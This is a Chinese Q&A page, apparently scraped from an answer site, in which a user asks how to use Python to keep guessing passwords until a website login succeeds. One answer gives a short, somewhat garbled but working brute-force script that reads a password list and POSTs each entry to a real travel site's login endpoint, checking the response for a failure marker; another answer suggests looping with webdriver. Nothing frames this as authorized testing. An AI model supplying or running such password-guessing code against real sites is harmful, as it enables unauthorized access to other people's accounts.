如何用python写一个不断尝试密码达到网址登陆成功的源码!
Posted
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了如何用python写一个不断尝试密码达到网址登陆成功的源码!相关的知识,希望对你有一定的参考价值。
请教: 如何利用python 不断尝试密码达到网址登陆成功。
网站用户名知道。
密码是纯数字
没有字母
我已经用python在桌面写了1-6位数组合的密码txt了。
网站没有验证码,没有反爬。
# 提取登录接口,观察登录失败特征,根据密码txt不停尝试,若返回结果没有失败特征就表示成功
#(不保险的话,可以将所有尝试结果记录下来,人为判断)
# 以艺龙登录接口为例:https://secure.elong.com/passport/ajax/elongLogin
# 失败特征:接口返回内容包含"success":false
'''
import requests
# 把登录接口、头部、请求参数、密码按列读取为列表,都定义好
loginUrl = 'https://secure.elong.com/passport/ajax/elongLogin'
header = "Content-Type": "application/x-www-form-urlencoded"
postData = "userName":"name","passwd":""
with open('密码.txt','r') as file:
pwdList = file.readlines()
# 循环更新密码并发送请求,判断返回内容是否包含失败特征
for pwd in pwdList:
postData["passwd"]=pwd
response=requests.request(method='POST',url=loginUrl,data=postData,headers=header)
resData = response.text
print resData
# find()返回-1时表示没找到失败特征
if resData.find('"success":false') == -1:
print '正确密码是:'.format(pwd)
break 参考技术A 现在很多网站如果错了一定次数就会冻结账号。不会成功的,放弃吧 参考技术B
如果不考虑接口上面的限制,可以用无线循环一直登录,webdriver是最简单了的了。成功退出循环即可
参考技术C 不知道追问
兄弟,你不知道你是过来混经验的吗?
参考技术D 网站是什么语言的?这是爆破的一种,也得具体问题具体分析
以上是关于如何用python写一个不断尝试密码达到网址登陆成功的源码!的主要内容,如果未能解决你的问题,请参考以下文章